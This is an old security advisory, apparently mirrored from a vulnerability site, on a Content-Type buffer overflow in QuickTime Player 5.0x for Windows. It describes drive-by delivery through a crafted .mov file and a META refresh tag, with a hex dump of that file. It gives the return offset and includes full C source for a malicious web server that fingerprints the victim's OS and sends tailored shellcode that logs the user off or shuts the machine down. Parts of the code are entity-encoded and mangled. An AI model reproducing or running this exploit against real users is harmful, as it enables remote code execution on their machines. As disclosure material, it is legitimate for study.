Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:2474
HistoryFeb 12, 2002 - 12:00 a.m.

[SPSadvisory#46]Apple QuickTime Player "Content-Type" Buffer Overflow

2002-02-1200:00:00
vulners.com
7

SPS Advisory #46

Apple QuickTime Player "Content-Type" Buffer Overflow

UNYUN <[email protected]>
Shadow Penguin Security (http://www.shadowpenguin.org)


Date

Feb. 9, 2002

Vulnerable

QuickTime Player 5.01 for Windows (Japanese)
QuickTime Player 5.02 for Windows (Japanese)

Not vulnerable

unknown

Overview

QuickTime Player can get the file which is published on web server and can play
it,
QuickTime Player overflows when web server sends HTTP response that contains
long "Content-Type". This buffer overflow overwrites the local buffer, the codes
which are written in "Content-Type" string can be executed on the client host.

Risk

If QuickTime Player connects to faked webserver by "Open URL" menu and the web
server replies "Content-Type" string that contains cracking code, the cracking
code written in "Content-Type" is executed on the client host. So, this overflow
contains the possibility of the virus and trojans infection, sytsem destruction,
intrusion, and so on.
If QuickTime Player opens mov file that contains URL link, QuickTime Player
tries to get a file which is placed on webserver, so if the faked webserver that
sends cracking code is specified in mov file and QuickTime Player opens it, the
same result described above is caused. This feature can be used to web browser.
If such mov file is hyper-linked on the web page, the cracking code is executed
when visitor clicks it. If the automatic reference such as META tag is written
in HTML file, the cracking code is executed when visitor opens a web page. This
problem also affects to the e-mail client that supports HTML mail such as
Outlook Express.
Furthermore, QuickTime player sets the version of QuickTime Player and OS
(including service pack information) to User-Agent. So, faked webserver can send
EIP and egg code which are appropriate for environment of connected client.

Details

QuickTime Player overflows when it connects to the webserver that sends
following HTTP response.

HTTP/1.1 200 OK
Date: Wed, 06 Feb 2002 06:56:30 GMT
Server: Apache/1.3.19
Last-Modified: Tue, 15 May 2001 13:37:51 GMT
ETag: "1e001d-7b5-3b01312f"
Accept-Ranges: bytes
Content-Length: 1973
Content-Type: aaaaaaaaaaaa… long string …aaaaaaaaaaaaa

You can confirm the buffer overflow if you specify long string (about 500bytes)
at the line of Content-Type. RET address is stored in offset 456, if the address
of JMP ESP code is specified to RET address, the code written in the buffer for
Content-Type is executed.

You can create mov file that links to faked webserver as follows.

exploit.mov

ADDRESS 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 0123456789ABCDEF

00000000 00 00 00 43 6D 6F 6F 76 00 00 00 3B 6D 64 72 61 …Cmoov…;mdra
00000010 00 00 00 33 64 72 65 66 75 72 6C 20 68 74 74 70 …3drefurl http
00000020 3A 2F 2F 77 77 77 2E 73 68 61 64 6F 77 70 65 6E ://www.shadowpen
00000030 67 75 69 6E 2E 6F 72 67 3A 32 32 32 2F 78 2E 6D guin.org:222/x.m
00000040 6F 76 00 ov.

If such mov file is referenced by META tag, QuickTime overflows when visitor
opens the web page.

<META HTTP-EQUIV="Refresh" CONTENT="0;URL=exploit.mov">

Furthermore, QuickTime Player sets the version of QuickTime Player and OS to
User-Agent as follows.

User-Agent: QuickTime (qtver=5.0.2;os=Windows NT 5.0Service Pack 2)

Exploit code can send EIP and egg code which are appropriate for environment of
connected client.

Avoidance

If you use Internet Explorer, you can avoid this problem if ActiveX is disabled.
If you open mov file by QuickTime Player, you must check the mov file, check
whether hyper link is included. If hyper link is specified in mov file, you must
check the "Content-Type" which is sent from webserver.

Caution

We will change this information without any notice. Use of this information
constitutes acceptance for use in an AS IS condition. There are NO warranties
with regard to this information. In no event shall the author be liable for any
damages whatever arising out of or in connection with the use or spread of this
information. Any use of this information is only for personal experiment.

Comments ?

If you have something comments, please send to following address.

webmaster <[email protected]>
http://www.shadowpenguin.org

Sample code

This code is faked webserver that sends Content-Type contains sample code.
This code provide TCP service at port 2222. This faked webserver checks User-
Agent which is set by QuickTime Player and sets the appropriate EIP and egg code
(for WindowsXp(home)/2000(pro)/98(SE)). If QuickTime Player connects to this
faked webserver, all processes are terminated and logged off (In case of
Window98, shutdown code is executed). This code can be compiled by Visual C++ 6.0.
This sample code was checked under the environment of QuickTime Player5.02/5.
01 for Windows(Japanese), WindowsXp Home(Japanese), Windows2000 Professional SP2
(Japanese), and Windows98 Second Edition (Japanese).

/*======================================================================
Apple QuickTimePlayer 5.02/5.01 Exploit
for Windows XP Home edition
Windows2000 Professional (Service Pack 2)
Windows98 Second Edition
The Shadow Penguin Security (http://www.shadowpenguin.org)
Written by UNYUN ([email protected])

*/
#include <windows.h>
#include <windowsx.h>
#include <stdio.h>
#include <winsock.h>

#define SERVICE_PORT 2222
#define MAXBUF 4096
#define TGTBUFSIZE 500
#define NOP 0x90
#define RETOFS 456
#define CODEOFS 470
#define RETADR_2000pro 0x77e0af64
#define RETADR_XPhome 0x77e4fb71
#define RETADR_98SE 0xbfb92995

#define UA_2000PRO "Windows NT 5.0Service Pack 2"
#define UA_XPHOME "Windows NT 5.1"
#define UA_98SE "Windows 98 A "

#define ANSWER \
"HTTP/1.1 200 OK\r\n"\
"Date: Wed, 06 Feb 2002 06:56:30 GMT\r\n"\
"Server: Apache/1.3.19\r\n"\
"Last-Modified: Tue, 15 May 2001 13:37:51 GMT\r\n"\
"ETag: \"1e001d-7b5-3b01312f\"\r\n"\
"Accept-Ranges: bytes\r\n"\
"Content-Length: 1973\r\n"\
"Content-Type: %s\r\n\r\n"

static unsigned char egg_2000pro[512]={
0xB8,0xA5,0xFA,0xE1,0x77,0x33,0xDB,0xB3,
0x04,0x53,0x53,0xFF,0xD0,0x90,0xEB,0xFD
};
static unsigned char egg_XPhome[512]={
0xB8,0xe3,0x02,0xd4,0x77,0x33,0xDB,0xB3,
0x04,0x53,0x53,0xFF,0xD0,0x90,0xEB,0xFD
};
static unsigned char egg_98se[512]={
0xB8,0x2c,0x23,0xf5,0xbf,0x33,0xDB,0xB3,
0x05,0x53,0x53,0xFF,0xD0,0x90,0xEB,0xFD
};

int main(int argc,char argv[])
{
WSADATA wsa;
SOCKADDR_IN sAddr,clientAddr;
SOCKET sock_listen,sock;
int nClientAddrLen=sizeof(clientAddr);
static char packetbuf[MAXBUF
2];
static char buf[MAXBUF],recvbuf[MAXBUF];
int r;
unsigned int eip;
char *p,*q,*qtver,*os;
unsigned char *egg;

// Create socket and wait connection
WSAStartup&#40;MAKEWORD&#40;2,0&#41;,&amp;wsa&#41;;
sock_listen=socket&#40;AF_INET,SOCK_STREAM,0&#41;;
sAddr.sin_family        = AF_INET;
sAddr.sin_addr.s_addr   = htonl&#40;INADDR_ANY&#41;;
sAddr.sin_port          = htons&#40;&#40;u_short&#41;&#40;SERVICE_PORT&#41;&#41;;
bind&#40;sock_listen,&#40;SOCKADDR *&#41;&amp;sAddr,sizeof&#40;sAddr&#41;&#41;; 
listen&#40;sock_listen,1&#41;;
printf&#40;&quot;Waiting connection &#40;Port &#37;d&#41;...&#92;n&quot;,SERVICE_PORT&#41;;
sock=accept&#40;sock_listen,&#40;LPSOCKADDR&#41;&amp;clientAddr,&amp;nClientAddrLen&#41;;
printf&#40;&quot;Accepted [from &#37;s].&#92;n&quot;,inet_ntoa&#40;clientAddr.sin_addr&#41;&#41;;

// Recv request
if &#40;&#40;r=recv&#40;sock,recvbuf,sizeof&#40;recvbuf&#41;-1,0&#41;&#41;==SOCKET_ERROR&#41;{
    printf&#40;&quot;Can not recv packet&#92;n&quot;&#41;;
    return&#40;0&#41;;
}
recvbuf[r]=&#39;&#92;0&#39;;
printf&#40;&quot;---request------------------------------&#92;n&quot;&#41;;
printf&#40;&quot;&#37;s&#92;n&quot;,recvbuf&#41;;
printf&#40;&quot;----------------------------------------&#92;n&quot;&#41;;
if &#40;&#40;p=strstr&#40;recvbuf,&quot;User-Agent:&quot;&#41;&#41;==NULL&#41;{
    printf&#40;&quot;Can not select&#92;n&quot;&#41;;
    printf&#40;&quot;&#37;s&#92;n&quot;,recvbuf&#41;;
    exit&#40;1&#41;;
}
if &#40;&#40;q=strchr&#40;p,&#39;&#92;r&#39;&#41;&#41;!=NULL&#41; *q=&#39;&#92;0&#39;;
if &#40;&#40;qtver=strstr&#40;p,&quot;qtver=&quot;&#41;&#41;==NULL&#41;{
    printf&#40;&quot;Version is not written in User-Agent&#92;n&quot;&#41;;
    printf&#40;&quot;&#37;s&#92;n&quot;,p&#41;;
    exit&#40;1&#41;;
}
qtver+=6;
if &#40;&#40;q=strchr&#40;qtver,&#39;;&#39;&#41;&#41;!=NULL&#41; *q=&#39;&#92;0&#39;;
printf&#40;&quot;Client version = &#39;&#37;s&#39;&#92;n&quot;,qtver&#41;;
q++;
if &#40;&#40;p=strchr&#40;q,&#39;&#41;&#39;&#41;&#41;!=NULL&#41; *p=&#39;&#92;0&#39;;
if &#40;&#40;os=strstr&#40;q,&quot;os=&quot;&#41;&#41;==NULL&#41;{
    printf&#40;&quot;OS name is not written in User-Agent&#92;n&quot;&#41;;
    printf&#40;&quot;&#37;s&#92;n&quot;,q&#41;;
    exit&#40;1&#41;;
}
os+=3;
printf&#40;&quot;Client OS = &#39;&#37;s&#39;&#92;n&quot;,os&#41;;

if &#40;!strcmp&#40;os,UA_XPHOME&#41;&#41;{
    eip=RETADR_XPhome;
    egg=egg_XPhome;
    printf&#40;&quot;Target = WindowsXp Home&#92;n&quot;&#41;;
}else if &#40;!strcmp&#40;os,UA_2000PRO&#41;&#41;{
    eip=RETADR_2000pro;
    egg=egg_2000pro;
    printf&#40;&quot;Target = Windows2000 Professional &#40;SP2&#41;&#92;n&quot;&#41;;
}else if &#40;!strcmp&#40;os,UA_98SE&#41;&#41;{
    eip=RETADR_98SE;
    egg=egg_98se;
    printf&#40;&quot;Target = Windows98 Second Edition&#92;n&quot;&#41;;
}else{
    eip=RETADR_2000pro;
    egg=egg_2000pro;
    printf&#40;&quot;Target = Unknown.&#92;n&quot;&#41;;
}

// Make exploit
memset&#40;buf,NOP,sizeof&#40;buf&#41;&#41;;
buf[RETOFS  ]=eip&amp;0xff;
buf[RETOFS+1]=&#40;eip&gt;&gt;8&#41;&amp;0xff;
buf[RETOFS+2]=&#40;eip&gt;&gt;16&#41;&amp;0xff;
buf[RETOFS+3]=&#40;eip&gt;&gt;24&#41;&amp;0xff;
strncpy&#40;buf+CODEOFS,egg,strlen&#40;egg&#41;&#41;;
buf[TGTBUFSIZE]=&#39;&#92;0&#39;;

// Send exploit
sprintf&#40;packetbuf,ANSWER,buf&#41;;
if &#40;send&#40;sock,packetbuf,strlen&#40;packetbuf&#41;,0&#41;==SOCKET_ERROR&#41;{
    printf&#40;&quot;Can not send packet&#92;n&quot;&#41;;
    return&#40;0&#41;;
}

Sleep&#40;1000&#41;;
closesocket&#40;sock&#41;;
printf&#40;&quot;Done&#92;n&quot;&#41;;
return&#40;0&#41;;

}

Announcement
The Shadow Penguin Security was moved from http://shadowpenguin.backsection.net
to http://www.shadowpenguin.org.


The Shadow Penguin Security [ http://www.shadowpenguin.org ]
[email protected]